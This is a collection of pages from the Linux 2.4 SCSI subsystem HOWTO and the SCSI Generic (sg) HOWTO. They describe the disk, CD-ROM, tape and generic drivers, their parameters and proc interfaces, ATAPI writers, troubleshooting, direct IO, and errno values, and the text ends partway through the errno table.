USB. Universal Serial Bus (USB) has a bandwidth of between 1.5 and 12 Megabits/sec (the latter speed with USB 1.1). Up to 127 devices can be connected using a series of hubs each of which connects up to 7 devices (with a 5 metre limit). USB supplies 5 volts at 0.5 amps to power small devices. USB is "plug and play", hot pluggable and supports isochronous data transfers (required for audio and video devices that need guaranteed minimum bandwidth).

PC Parallel port. The original PC parallel port was uni-directional (towards the printer) and was capable of about 10 KB/sec. The IEEE 1284 standard in 1994 introduced 5 modes of data transfer:

  • Compatibility mode (forward direction)

  • Nibble mode (reverse direction)

  • Byte mode (reverse direction)

  • EPP mode (bi-directional)

  • ECP mode (bi-directional)

Enhanced Parallel Port (EPP) achieves transfer speeds of between 500 KB/sec and 2 MB/sec and is targeted at CD-ROMs, tapes and hard drives. Extended Capability Port (ECP) includes run length encoding and support for DMA. ECP is targeted at fast printers and scanners.

I2O. "The I2O (Intelligent Input/Output) specification defines a standard architecture for intelligent I/O that is independent of both the specific device being controlled and the host operating system (OS)" [from www.i2osig.org]. It defines a "split driver" model in which the OS Services Module (OSM) sits between the host OS device interface and the I2O communications layer while the Hardware Device Module (HDM) sits between the I2O communications layer and the hardware. The HDM may well run on a dedicated processor (IOP).

Prev | Home | Next
Devfs pseudo file system |  | Changes between lk 2.2 and (during) 2.4


Disk driver (sd)

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 9. Upper level drivers Next

9.1. Disk driver (sd)

Two types of SCSI devices are accessible via the sd driver:

  • "direct access" devices which are usually magnetic disks. [SCSI peripheral device code is 0]

  • "Optical memory devices" which are often called MOD disks. [SCSI peripheral device code is 7]

The sd driver is a block device which means that it is closely associated with the block subsystem. It also supports the concept of partitions. [man sd dates from 1992.]

The sd driver is capable of recognizing 128 disks when it is loaded at kernel boot time or later as a module. However, once it is loaded, it will only recognize a fixed number of additional disks. The number of additional disks that can be accommodated is set by the kernel configuration parameter CONFIG_SD_EXTRA_DEVS whose default value is 40.

9.1.1. sd boot parameters

None.

9.1.2. sd module parameters

The sd driver takes no parameters when loaded as a module. Note that its module name is sd_mod.o.

Prev | Home | Next
Upper level drivers | Up | CDROM driver (sr or scd)


Generic driver (sg)

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 9. Upper level drivers Next

9.4. Generic driver (sg)

All types of SCSI devices are accessible via the sg driver. This means devices such as CDROM drives can be accessed both via the sr and sg drivers. Other SCSI devices such as scanners can only be accessed via the sg driver. The sg driver is capable of recognizing 256 SCSI devices. Any number of devices (up to the overall limit of 256) can be added after the sg driver is loaded.

See reference W4 for the SCSI Generic (sg) driver documentation (also found there is the sg_utils package). For SCSI standards see reference W1 and for a book on the subject of SCSI programming and pass through mechanisms see reference B3.

The sg driver in lk 2.4 is "version 3" which adds an additional interface structure and some new ioctl()s. The most interesting new ioctl() is SG_IO which sends a SCSI command and waits for its response. See the Linux Documentation Project site: www.linuxdoc.org/HOWTO/SCSI-Generic-HOWTO/ for a full description of the sg driver. A (possibly later) version of this document can be found at www.torque.net/sg/p/sg_v3_ho.html.

The abbreviation "sg" is used within the kernel to refer both to the SCSI generic driver and the scatter-gather capability offered by many modern IO devices (usually associated with DMA). The context usually makes it clear which one is being referred to. As an example, note the contorted sg ioctl() named SG_GET_SG_TABLESIZE where the second "SG" refers to scatter gather.

The public interface for sg is found in the file: /usr/src/linux/include/scsi/sg.h. Depending on the distribution this may or may not contain the same information as /usr/include/scsi/sg.h which is controlled by the GNU library maintainers. If these 2 files are not the same use the former header file. Those writing applications based on sg should see its documentation for more on this matter.

The sg driver registers all SCSI devices (with a current maximum of 256) as they are seen. Each newly registered SCSI device gets allocated the next available minor device number. At least initially this will be the same sequence that devices are displayed in mid level's cat /proc/scsi/scsi. The sg devices device mapping can been seen with cat /proc/scsi/sg/devices or cat /proc/scsi/sg/device_strs. Differences between cat /proc/scsi/scsi and sg orderings will appear when a low level driver is removed (e.g. rmmod aha1542) or when a device is removed with remove-single-device. The sg driver will leave remaining SCSI device mapping to minor device numbers unchanged. This potentially leaves a "hole" in the sg mapping. An example follows:
$ cat /proc/scsi/scsi
Attached devices:
Host: scsi0 Channel: 00 Id: 00 Lun: 00
  Vendor: IBM      Model: DNES-309170W     Rev: SA30
  Type:   Direct-Access            ANSI SCSI revision: 03
Host: scsi1 Channel: 00 Id: 02 Lun: 00
  Vendor: PIONEER  Model: DVD-ROM DVD-303  Rev: 1.10
  Type:   CD-ROM                   ANSI SCSI revision: 02
Host: scsi1 Channel: 00 Id: 06 Lun: 00
  Vendor: YAMAHA   Model: CRW4416S         Rev: 1.0g
  Type:   CD-ROM                   ANSI SCSI revision: 02

$ cat /proc/scsi/sg/device_strs
IBM             DNES-309170W            SA30
PIONEER         DVD-ROM DVD-303         1.10
YAMAHA          CRW4416S                1.0g

$ echo "scsi remove-single-device 1 0 2 0" > /proc/scsi/scsi

$ cat /proc/scsi/scsi
Attached devices:
Host: scsi0 Channel: 00 Id: 00 Lun: 00
  Vendor: IBM      Model: DNES-309170W     Rev: SA30
  Type:   Direct-Access            ANSI SCSI revision: 03
Host: scsi1 Channel: 00 Id: 06 Lun: 00
  Vendor: YAMAHA   Model: CRW4416S         Rev: 1.0g
  Type:   CD-ROM                   ANSI SCSI revision: 02

$ cat /proc/scsi/sg/device_strs
IBM             DNES-309170W            SA30
<no active device>
YAMAHA          CRW4416S                1.0g
Notice how the sg driver maintains the row positions of the remaining devices in the "device_strs" output. So when the Pioneer dvd player is removed, a hole opens up in the sg device mapping which is not reflected in the cat /proc/scsi/scsi output. That "hole" corresponds to the device name /dev/sg1.

The new sg_io_hdr interface includes a data transfer residual count field called "resid". Only some lower level adapters support this feature and those that don't always yield zero in this field. At the time of writing the advansys, aha152x and the sym53c8xx drivers support this feature.

9.4.1. sg boot parameters

The sg driver maintains a reserved buffer for each open file descriptor. The purpose is to guarantee applications that data transfers up to the size of the reserved buffer will not fail for lack of kernel memory. This is important for applications like cdrecord that cannot easily recover (the CDR) from a ENOMEM error.

In the absence of the boot parameter 'sg_def_reserved_size' or the sg module parameter 'def_reserved_size', then each time a sg file descriptor is opened the reserved buffer size is inherited from SG_DEF_RESERVED_SIZE which is defined in include/linux/sg.h.

The SG_DEF_RESERVED_SIZE define value can be overridden by this kernel boot option:
    sg_def_reserved_size=<n>

9.4.2. sg module parameters

When the sg module is loaded the SG_DEF_RESERVED_SIZE define value can be overridden by supplying this option:
    def_reserved_size=<n>

9.4.3. sg proc interface

All the following files are readable by all and produce ASCII output when read. The file 'def_reserved_size' is also writable by root. The ASCII output has been formatted in such a way as to be human and machine readable (and hence a compromise). Use Unix commands of the form cat device_hdrs devices to see the output of tables.

/proc/scsi/sg/debug       [internal state of sg driver]
/proc/scsi/sg/def_reserved_size
                          [like boot/module load parameter]
/proc/scsi/sg/devices     [table of numeric device data]
/proc/scsi/sg/device_hdr  [column headers for sg/devices]
/proc/scsi/sg/device_strs [table of strings from INQUIRY]
/proc/scsi/sg/hosts       [table of numeric host data]
/proc/scsi/sg/host_hdr    [column headers for sg/hosts]
/proc/scsi/sg/host_strs   [table of string ids for hosts]
/proc/scsi/sg/version     [sg version number and date]
All the above files are owned by root and readable by all while def_reserved_size is writable by root. For the devices and device_strs files the first row output corresponds to /dev/sg0 (sg minor device number 0). The second row output corresponds to /dev/sg1, etc. For the hosts and host_strs files the first row output corresponds to host (adapter number) 0, etc. For numeric tables a missing device or host is indicated by a row of "-1" values. For string tables a missing device or host is indicated by a row containing "<no active device/host>".

Prev | Home | Next
Tape driver (st) | Up | Lower Level drivers


CDROM driver (sr or scd)

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 9. Upper level drivers Next

9.2. CDROM driver (sr or scd)

CDROM and DVD drives (and WORM devices) are accessible via the sr upper level device driver. While is "sr" is the device driver name, "sr_mod" is its module name. The device file name is either /dev/sr<n> or /dev/scd<n>.

Following is a diagram illustrating the CDROM subsystem of which sr is a part:

The architecture of the CD-ROM subsystem.

This diagram glosses over some of the differences between the protocol stacks. CDROM device names are not maintained by the uniform CDROM layer but rather by each individual protocol stack. In the case of the SCSI subsystem, device names are maintained by the sr driver while the IDE subsystem maintains device names with its central "ide" driver (i.e. not by the ide-cd driver). USB and IEEE1394 cd devices names are maintained by their respective stacks. This may partially explain why the /dev/cdrom is often a symbolic link to the appropriate subsystem's device name.

Two types of SCSI devices are accessible via the sr driver:

  • CD-ROM devices (including DVD players) [SCSI peripheral device code is 5]

  • "Write-once read-multiple" devices which are known as WORMs. [SCSI peripheral device code is 4]

The sr driver is capable of recognizing 256 CDROM/DVD drives when it is loaded at kernel boot time or later as a module. However, once it is loaded, it will only recognize a fixed number of additional drives. The number of additional drives that can be accommodated is set by the kernel configuration parameter CONFIG_SR_EXTRA_DEVS whose default value is 2.

9.2.1. sr boot parameters

None.

9.2.2. sr module parameters

Doing a test to find out if a cdrom drive supports XA mode (mode 2) triggers firmware bugs on some drives. Consequently the check for XA mode support is turned off by default. The following module parameter is provided:
    xa_test=<0|1>
to override the default. [Currently there seems to be no way to turn on XA mode testing when the sr driver is built into the kernel.]

9.2.3. sr proc interface

All the following files are readable by all and produce ASCII output when read:
 /proc/sys/dev/cdrom/autoclose
 /proc/sys/dev/cdrom/autoeject
 /proc/sys/dev/cdrom/check_media
 /proc/sys/dev/cdrom/debug
 /proc/sys/dev/cdrom/info
 /proc/sys/dev/cdrom/lock
They reflect the current state of the CDROM subsystem. This location is part of the procfs's window through to the sysctl configuration mechanism (see man sysctl). All but info are writable by the superuser. There is a column for each CDROM and DVD player in the system in info (not just SCSI devices).

As an example, the auto eject feature can be turned on by the superuser with the command echo "1" > /proc/sys/dev/cdrom/autoeject. This will cause cdroms to be ejected from the drive when unmounted.

9.2.4. ATAPI cdroms

Many Linux users have no SCSI devices (or adapters) in their systems. They become a little perplexed as to why cd writer software (e.g. cdrecord and cdrdao) and cd music reading programs (e.g. cdparanoia) use the Linux SCSI subsystem. The answer is that these programs need lower level access to these devices. ATAPI (ATA Packet Interface) is essentially a SCSI command set sent over an ATA [1] transport. [The discussion in this section is also applicable to ATAPI tape drives and ATAPI floppy drives.]

Currently both cdrecord and cdparanoia interface to the SCSI generic driver (sg) and, in the case of ATAPI cd devices, use the ide-scsi pseudo device driver to access the hardware. This may change in the future as in the 2.4 series kernels a packet interface ioctl has been added to the uniform cdrom layer (see the diagram in Section 9.2 above). [2]

The default action of the IDE subsystem in Linux is to claim all ATA devices for its built-in drivers. In the case of an ATAPI cd writer, it will be claimed by the built-in ide-cd driver. Once this has happened, the SCSI subsystem is unable to get control over an ATAPI device. The ide-scsi (pseudo lower level SCSI) driver can only register ATAPI devices in the SCSI subsystem that have not already been claimed by IDE subsystem.

Notice the built-in qualification in the previous paragraph. If both the ide-cd and ide-scsi drivers are modules then the first one loaded will claim the ATAPI cd devices (e.g. cd/dvd readers and writers). Furthermore you can switch the controlling driver module by rmmod-ing one and modprobe-ing the other.

Probably the most flexible way to instruct the IDE core driver that you want the cd writer at /dev/hdd accessible to cdrecord is to use the kernel boot option: "hdd=ide-scsi". This will cause the ide-cd driver to bypass /dev/hdd (irrespective of whether ide-cd driver is built-in or a module). As long as the ide-scsi driver is built-in or a module then it will "capture" the cd writer at /dev/hdd (with the IDE core driver loading the ide-scsi module if required).

The ide-cd driver module can be instructed to ignore certain ATA devices with the following syntax:
modprobe ide-cd ignore='hdc hdd'
In this case the ide-cd driver will ignore the devices at /dev/hdc and /dev/hdd . This effect can also be accomplished by placing a line like this: "options ide-cd ignore=hdd" in the /etc/modules.conf file.

A new option added in the lk 2.4 series is of the form "hdd=scsi". This option seems to have a similar function to the "hdd=ide-scsi" option discussed above. Furthermore "hdd=scsi" can only be used if both the SCSI mid-level and the ide-scsi drivers are built into the kernel (otherwise "BAD OPTION" is reported by the ide_setup function).

To find out whether an ATAPI cd device is "owned" by the SCSI subsystem, the output of cat /proc/scsi/scsi can be checked. Another technique is to observe the "drive name:" line of cat /proc/sys/dev/cdrom/info for "sr" entries. The following output is from my system:
$ cat /proc/sys/dev/cdrom/info
CD-ROM information, Id: cdrom.c 3.12 2000/10/18

drive name:             sr1     sr0
drive speed:            16      0
drive # of slots:       1       1
Can close tray:         1       1
Can open tray:          1       1
Can lock tray:          1       1
Can change speed:       1       1
Can select disk:        0       0
Can read multisession:  1       1
Can read MCN:           1       1
Reports media changed:  1       1
Can play audio:         1       1
Can write CD-R:         1       0
Can write CD-RW:        1       0
Can read DVD:           0       1
Can write DVD-R:        0       0
Can write DVD-RAM:      0       0

Once an ATAPI cd writer at /dev/hdd has been registered by the SCSI subsystem, then cdroms should be mounted via the "sr" device name and cd players should also use the "sr" device. Strangely the hdparm command should still use the /dev/hdd device file. [3]

Notes

[1]

ATA is the modern name for what was previously known as IDE and/or EIDE. Note that the subsystem that controls ATA devices in Linux is called the "IDE" subsystem for historical reasons.

[2]

Other ATA devices such as tapes and floppies often use the ATAPI interface. However, the vast majority of ATA disks do not use the ATAPI interface.

[3]

In the linux 2.4 kernel series there has been an increase in problems when the ide-scsi driver is used so that cdrecord can control ATAPI (IDE) cd writers. The problem may be related to the aggressive manner in which the IDE subsystem attempts to optimize the speed of data transfers on devices it controls. Some people experiencing timeouts and machine lockups have found that reducing the DMA setting via the hdparm command has fixed the problem. If the cd writer is connected to /dev/hdd then users have reported success with one of these two commands:
    hdparm -d0 -c1 /dev/hdd
    hdparm -d 1 -X 34 /dev/hdd
The first one turns off DMA completely while the second one sets it in "multiword DMA mode 2". Cd writers do not need the types of speeds that modern disks utilize. Even burning at "x16" implies a sustained transfer rate of 16 times 150 KB/sec which is approximately 2.4 MB/sec, not really that fast. There has also been a report that moving a cd writer off a high speed IDE controller (Promise) and back to the motherboard's lower speed IDE controllers has fixed a random IDE bus reset problem. Another report suggests reducing (or turning off) the DMA on the IDE hard disk can also stop lockups.

Prev | Home | Next
Disk driver (sd) | Up | Tape driver (st)


Tape driver (st)

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 9. Upper level drivers Next

9.3. Tape driver (st)

The tape driver interface is documented in the file /usr/src/linux/drivers/scsi/README.st and on the st(4) man page (type man st). The file README.st also documents the different parameters and options of the driver together with the basic mechanisms used in the driver.

The tape driver is usually accessed via the mt command (see man mt). mtx is an associated program for controlling tape autoloaders (see mtx.sourceforge.net).

The st driver detects those SCSI devices whose peripheral device type is "Sequential-access" (code number 1) unless they appear on the driver's "reject_list". [Currently the OnStream tape drives (described in a following section) are the only entry in this reject_list.]

The st driver is capable of recognizing 32 tape drives. There are 8 device file names for each tape drive: a rewind and non-rewind variant for each of 4 modes (numbered 0 to 3). See the tape device file name examples in Section 3.2 on device names. Any number of tape drives (up to the overall limit of 32) can be added after the st driver is loaded.

ATAPI tape drives can be controlled by this driver with help from the ide-scsi pseudo adapter driver. The discussion in Section 9.2.4 also applies for ATAPI tape drives (and ATAPI floppies).

9.3.1. st boot parameters

st=xxx[,yyy] where xxx is one of the following:
buffer_kbs:<n>
write_threshold_kbs:<n>
max_buffers:<n>
max_sg_segs:<n>

(The old boot parameters st=aa[,bb[,cc[,dd]]] supported but deprecated)

The default driver buffer size (buffer_kbs) is 32 (i.e. 32 KB). The default asynchronous write threshold (write_threshold_kbs) is 30 (i.e. 30 KB). The default number of buffers allocated at initialization (max_buffers) is 4. The default number of scatter/gather segments to use (max_sg_segs) is 32.

9.3.2. st module parameters

buffer_kbs=<n>
write_threshold_kbs=<n>
max_buffers=<n>
max_sg_segs=<n>

9.3.3. st proc interface

None.

9.3.4. osst driver for OnStream devices

There is an auxiliary tape driver for tape drives manufactured by OnStream. It is an additional upper level driver and can co-exist with the st driver. Its driver name is "osst" (as is its module name).

The OnStream SC-x0 SCSI tape drives can not be driven by the standard st driver, but instead need this special osst driver and use the /dev/osst<x> char device nodes (major 206). [Where <x> follows the same naming scheme as st devices outlined in Section 3.2.] Via usb-storage and ide-scsi, you may be able to drive the USB-x0 and DI-x0 drives as well. Note that there is also a second generation of OnStream tape drives (ADR-x0) that supports the standard SCSI-2 commands for tapes (QIC-157) and can be driven by the standard driver st. For more information, you may have a look at the kernel source file /usr/src/linux/drivers/scsi/README.osst. More info on the OnStream driver may be found on linux1.onstream.nl/test/.

Prev | Home | Next
CDROM driver (sr or scd) | Up | Generic driver (sg)


Troubleshooting

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Appendix C. Troubleshooting

Many SCSI problems are caused by cabling and (lack of, or inappropriate) termination. This often results in repeated SCSI bus resets, parity or CRC errors and sometimes reduced transfer speeds. There is a good SCSI termination tutorial at this site: www.scsita.org/aboutscsi/SCSI_Termination_Tutorial.html. There is other useful SCSI information at that site (see W9).

There is also a SCSI "faq" site (see W10) that addresses many configuration and troubleshooting issues. Although the main focus of this site is Windows (and its ASPI interface), much is relevant to SCSI in Linux and other Unix implementations.

When it looks like something has partially locked up the system, the ps command can be useful for finding out what may be causing the problem. The following options may be useful for identifying what part of the kernel may be causing the problem. This information could be forwarded to the maintainers.
ps -eo cmd,wchan
ps -eo fname,tty,pid,stat,pcpu,wchan
ps -eo pid,stat,pcpu,nwchan,wchan=WIDE-WCHAN-COLUMN -o args
The most interesting option for finding the location of the "hang" is "wchan". If this is a kernel address then ps will use /proc/ksyms to find the nearest symbolic location. The "nwchan" option outputs the numerical address of the "hang".

If the system is not responding to keystrokes, then <Alt+ScrollLock> in text mode should output a stack trace while <Ctrl+ScrollLock> should output a list of all processes. If the log is still working, the output will be sent there as well as appearing on the console.

If the kernel has been built with the CONFIG_MAGIC_SYSRQ, then in text mode <Alt+SysRq+H> will list available commands. Of these <Alt+SysRq+S> is useful for doing an emergency sync while <Alt+SysRq+U> will remount file systems in read only mode. After that <Alt+SysRq+B> to reboot the machine might be your next move.

Prev | Home | Next
Changes during the lk 2.4 series |  | Performance, Test and Debugging tools


Upper level drivers

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 9. Upper level drivers

Table of Contents
9.1. Disk driver (sd)
9.1.1. sd boot parameters
9.1.2. sd module parameters
9.2. CDROM driver (sr or scd)
9.2.1. sr boot parameters
9.2.2. sr module parameters
9.2.3. sr proc interface
9.2.4. ATAPI cdroms
9.3. Tape driver (st)
9.3.1. st boot parameters
9.3.2. st module parameters
9.3.3. st proc interface
9.3.4. osst driver for OnStream devices
9.4. Generic driver (sg)
9.4.1. sg boot parameters
9.4.2. sg module parameters
9.4.3. sg proc interface

The upper level drivers maintain the kernel side of the OS interface for the logical class of devices they represent (e.g. disks). They are also responsible for managing certain kernel and SCSI subsystem resources such as kernel memory and SCSI command structures. Applications in the user space access these drivers by opening a special file (block or char) typically found in the /dev directory tree.

Prev | Home | Next
proc interface |  | Disk driver (sd)


Asynchronous usage of sg

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 12. Asynchronous usage of sg

It is recommended that synchronous sg-based applications use the new SG_IO ioctl() command. Existing applications (which are mainly synchronous) can continue to use the older sg_header based interface which is still supported.

Asynchronous usage allows multiple SCSI commands to be queued up to the device. If the device supports command queuing then there can be a major performance gain. Even if the device doesn't support command queuing (or is temporarily busy) then queuing up commands in the mid level or the host driver can be a minor performance win (since there will be a lower latency to transmit the next command when the device becomes free).

Asynchronous usage usually starts with setting the O_NONBLOCK flag on open() [or thereafter by using the fcntl(fd, SETFD, old_flags | O_NONBLOCK) system call]. A similar effect can be obtained without using O_NONBLOCK when POSIX threads are used. There are several strategies that can then be followed:

  1. set O_NONBLOCK and use a poll() loop

  2. set O_NONBLOCK and use SIGPOLL signal to alert app when readable

  3. use POSIX threads and a single sg file descriptor

  4. use POSIX threads and multiple sg file descriptors to same device

The O_NONBLOCK flag also permits open(), write() and read() [but not the ioctl(SG_IO)] to access a SCSI device even though it has been marked offline. SCSI devices are marked offline when they are detected and don't respond to the initial SCSI commands as expected, or, some SCSI error condition is detected on that device and the mid level error recovery logic is unable to "resurrect" the device. A SCSI device that is being reset (and still settling) could be accessed during this period by using the O_NONBLOCK flag; this could lead to unexpected behaviour so the sg user should take care.

In Linux SIGIO and SIGPOLL are the same signal. If POSIX real time signals are used (e.g. when SA_SIGINFO is used with sigaction() and fcntl(fd, F_SETSIG, SIGRTMIN + <n>) ) then the file descriptor with which the signal is associated is available to the signal handler. The associated file descriptor is in the si_fd member of the siginfo_t structure. The poll() system call that is often used after a signal is received can thus be bypassed.

Prev | Home | Next
/proc/scsi/sg/debug |  | Sg3_utils package


close()

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 7. System calls Next

7.5. close()

close(int sg_fd). Preferably a close() should be done after all issued write()s have had their corresponding read() calls completed. Unfortunately this is not always possible (e.g. the user may choose to send a kill signal to a running process). The sg driver implements "fast" close semantics and thus will return more or less immediately (i.e. not wait on any event). This is application friendly but requires the sg driver to arrange for an orderly cleanup of those packets that are still "in flight".

When close() leaves outstanding SCSI commands still awaiting responses, the sg driver maintains its internal structures for the now defunct file descriptor. These internal structures are maintained until all outstanding responses (some might be timeouts) are received. When the sg driver is loaded as a module and has any open file descriptors or "defunct" file descriptors then it cannot be unloaded. An attempt to call rmmod sg will report the driver is busy. Defunct file descriptors that remain for some time, perhaps awaiting a timeout, can be observed with the cat /proc/scsi/sg/debug command. In this case "closed=1" will be set on the defunct file descriptor [see Section 11.1]. Defunct file descriptors do not impede attempts by applications to open() new file descriptors on the same SCSI device.

The kernel arranges for only the last close() on a file descriptor to be seen by a driver (and to emphasize this, the corresponding sg driver call is named sg_release() rather than sg_close()). This is only significant when an application uses fork() or dup().

Returns 0 if successful, otherwise -1 implies an error.

Prev | Home | Next
poll() | Up | mmap()


Debugging

The Linux SCSI Generic (sg) HOWTO
Prev Next

Appendix D. Debugging

There are various ways to debug what is happening with the sg driver. The information provided in the /proc/scsi/sg directory can be useful, especially the debug pseudo file. It outputs the state of the sg driver when it is called. Invoking it at the right time can be a challenge. One approach (used in SANE) is to invoke the system() system call like this:
    system("cat /proc/scsi/sg/debug");
at appropriate times within an application that is using the sg driver.

Another debugging technique is to trace all system calls a program makes with the strace command (see its "man" page). This command can also be used to obtain timing information (with the "-r" and "t" options).

To debug the sg driver itself then the kernel needs to be built with CONFIG_SCSI_LOGGING selected. Then copious output will be sent by the sg driver whenever it is invoked to the log (normally /var/log/messages) and/or the console. This debug output is turned on by:
 $ echo "scsi log timeout 7" > /proc/scsi/scsi
As the number (i.e. 7) is reduced, less output is generated. To turn off this type of debugging use:
 $ echo "scsi log timeout 0" > /proc/scsi/scsi

If you want the system to log SCSI (CHECK_CONDITION related) errors that sg detects rather than process them within the application using sg then set ioctl(SG_SET_DEBUG) to a value greater than zero. Processing SCSI errors within the application using sg is my preference.

Prev | Home | Next
Programming example |  | Other references


Direct IO

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 9. Direct and Mmap-ed IO Next

9.1. Direct IO

Direct IO uses the kiobuf mechanism [see the Linux Device Drivers book] to manipulate memory allocated within the user space so that a lower level (adapter) driver can DMA directly to or from that user space memory. Since the user can give a different data buffer to each SCSI command passed through the sg interface then the kiobuf mechanism needs to setup its structures (and undo that setup) for each SCSI command. [1] Direct IO is available as an option in sg 3.1.18 (before that the sg driver needed to be recompiled with an altered define). Direct IO support is designed in such a way that if it is requested and cannot be performed then the command will still be performed using indirect IO. If direct IO is requested and has been performed then the SG_INFO_DIRECT_IO bit will be set in the 'info' member of the sg_io_hdr_t control structure after the request has been completed. Direct IO is not supported on ISA SCSI adapters since they only can address a 24 bit address space.

One limit on direct IO is that sg_io_hdr_t::iovec_count==0. So the user cannot (currently) use application level scatter gather and direct IO on the same request.

For direct IO to be worthwhile, a reasonable amount of data should be requested for data transfer. For transfers less than 8 KByte it is probably not worth the trouble. On the other hand "locking down" a multiple 512 KB blocks of data for direct IO could adversely impact overall system performance. Remember that for the duration of a direct IO request, the data transfer buffer is mapped to a fixed memory location and locked in such a way that it won't be swapped out. This can "cramp the style" of the kernel if it is overdone.

Prior to sg 3.1.18 the direct IO code was commented out with the "SG_ALLOW_DIO" define. In sg 3.1.18 (available for lk 2.4.2 and later) the direct IO code is active but is defaulted off by a run time value. This value can be accessed via the "proc" file system at /proc/scsi/sg/allow_dio . Direct IO is enabled when a user with root permissions writes "1" to that file: echo 1 > /proc/scsi/sg/allow_dio . If SG_FLAG_DIRECT_IO is set in sg_io_hdr::flags but /proc/scsi/sg/allow_dio holds "0" then indirect IO will be performed (and this is indicated by ((sg_io_hdr::info & SG_INFO_DIRECT_IO_MASK) == SG_INFO_INDIRECT_IO) after the request is completed).

Notes

[1]

Unfortunately that setup time is large enough in some versions of the lk 2.4 series to adversely impact direct IO performance. Also memory malloc()-ed in the user space tends to be made up of discontinuous pages seen from the SCSI adapter. This requires the sg driver to build heavily splintered scatter gather lists which is less than desirable. This limits the maximum transfer size to [(max_scsi_adapter_scatter_gather_elements - 1) * PAGE_SIZE]. [This is a _different_ scatter gather mechanism to that which the user sees in the sg interface based on iovec.]

Prev | Home | Next
Direct and Mmap-ed IO | Up | Mmap-ed IO


Direct and Mmap-ed IO

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 9. Direct and Mmap-ed IO

Table of Contents
9.1. Direct IO
9.2. Mmap-ed IO

The normal action of the sg driver for a read operation (from a device) is to request the lower level (adapter) driver to DMA [1] data into kernel buffers that the sg driver manages. The sg driver will then copy the contents of its buffers into the user space. [This sequence is reversed for a write operation (towards a device)]. While this double handling of data is obviously inefficient it does decouple some hardware issues from user applications. For these and historical reasons the "double-buffered" IO remains the default for the sg driver.

Both "direct" and "mmap-ed" IO are techniques that permit the data to be DMA-ed directly from the lower level (adapter) driver into the user application (vice versa for write operations). Both techniques result in faster speed, smaller latencies and lower CPU utilization but come at the expense of complexity (as always). For example the Linux kernel must not attempt to swap out pages in a user application that a SCSI adapter is busy DMA-ing data into.

Notes

[1]

Older SCSI adapters and some pseudo adapter drivers don't have DMA capability in which case the CPU is used to copy the data.

Prev | Home | Next
SCSI_IOCTL_SEND_COMMAND |  | Direct IO


SG_EMULATED_HOST

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.5. SG_EMULATED_HOST

SG_EMULATED_HOST 0x2203. Assumes 3rd argument points to an int and outputs a flag indicating whether the host (adapter) is connected to a "real" SCSI bus or is an emulated one (e.g. ide-scsi or usb storage device driver). A value of 1 means emulated while 0 is not. [To check: is IEEE1394 a "real" SCSI serial bus?]

Prev | Home | Next
SG_SET_DEBUG | Up | SG_SET_KEEP_ORPHAN (and _GET_)


Errors reported in errno

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 7. System calls Next

7.8. Errors reported in errno

With the original interface almost any string could be accidentally given to write() and potentially (but rarely) something nasty could happen. If some error was detected then more than likely EIO was placed in errno.

Unfortunately this can still happen with write() since it can accept both the original struct sg_header or the newer sg_io_hdr_t described in this note. However since the SG_IO ioctl() will only accept the sg_io_hdr_t structure there is less chance of a random string being interpreted as a command. Since the sg_io_hdr_t interface does a lot more error checking, it attempts to give out more precise errno values to help the user pinpoint the problem. [Admittedly some of these errno values are picked in an arbitrary way from the large set of available values.]

In most cases when a system call on a sg file descriptor fails, the call in question will return -1. After an application detects that a system call has failed it should read the value in the "errno" variable (prior to do any more system calls). Applications should include the <errno.h> header.

Below is a table of errno values indicating which calls to sg will generate them and the meaning of the error. A write() call is indicated by "w", a read() call by "r" and an open() call by "o".

errno    which_calls    Meaning
-----    -----------    ----------------------------------------------
EACCES    <some ioctls> Root permission (more precisely CAP_SYS_ADMIN
                        or CAP_SYS_RAWIO) required. Also may occur during
                        an attempted write to /proc/scsi/sg files.
EAGAIN    r             The file descriptor is non-blocking and the request
                        has not been completed yet.
EAGAIN    w,SG_IO       SCSI sub-system has (temporarily) run out of
                        command blocks.
EBADF     w             File descriptor was not open()ed O_RDWR.
EBUSY     o             Someone else has an O_EXCL lock on this device.
EBUSY     w             With mmap-ed IO, the reserved buffer already in use.
EBUSY     <some ioctls> Attempt to change something (e.g. reserved buffer
                        size) when the resource was in use.
EDOM      w,SG_IO       Too many requests queued against this file
                        descriptor. Limit is SG_MAX_QUEUE active requests.
                        If sg_header interface is being used then the
                        default queue depth is 1. Use SG_SET_COMMAND_Q
                        ioctl() to increase it.
EFAULT    w,r,SG_IO     Pointer to user space invalid.
          <most ioctls>
EINVAL    w,r           Size given as 3rd argument not large enough for the
                        sg_io_hdr_t structure. Both direct and mmap-ed IO
            selected.
EIO       w             Size given as 3rd argument less than size of old
                        header structure (sg_header). Additionally a write()
                        with the old header will yield this error for most
                        detected malformed requests.
EIO       r             A read() with the older sg_header structure yields
            this value for some errors that it detects.
EINTR     o             While waiting for the O_EXCL lock to clear this call
                        was interrupted by a signal.
EINTR     r,SG_IO       While waiting for the request to finish this call
                        was interrupted by a signal.
EINTR     w             [Very unlikely] While waiting for an internal SCSI
                        resource this call was interrupted by a signal.
EMSGSIZE  w,SG_IO       SCSI command size ('cmd_len') was too small
                        (i.e. < 6) or too large
ENODEV    o             Tried to open() a file with no associated device.
                        [Perhaps sg has not been built into the kernel or
                        is not available as a module?]
ENODEV    o,w,r,SG_IO   SCSI device has detached, awaiting cleanup.
                        User should close fd. Poll() will yield POLLHUP.
ENOENT    o             Given filename not found.
ENOMEM    o             [Very unlikely] Kernel was not even able to find
                        enough memory for this file descriptor's context.
ENOMEM    w,SG_IO       Kernel unable to find memory for internal buffers.
                        This is usually associated with indirect IO.
            For mmap-ed IO 'dxfer_len' greater than reserved
            buffer size.
            Lower level (adapter) driver does not support enough
            scatter gather elements for requested data transfer.
ENOSYS    w,SG_IO       'interface_id' of a sg_io_hdr_t object was _not_ 'S'.
ENXIO     o             "remove-single-device" may have removed this device.
ENXIO     o, w,r,SG_IO  Internal error (including SCSI sub-system busy doing
                        error processing - e.g. SCSI bus reset). When a
            SCSI device is offline, this is the response. This
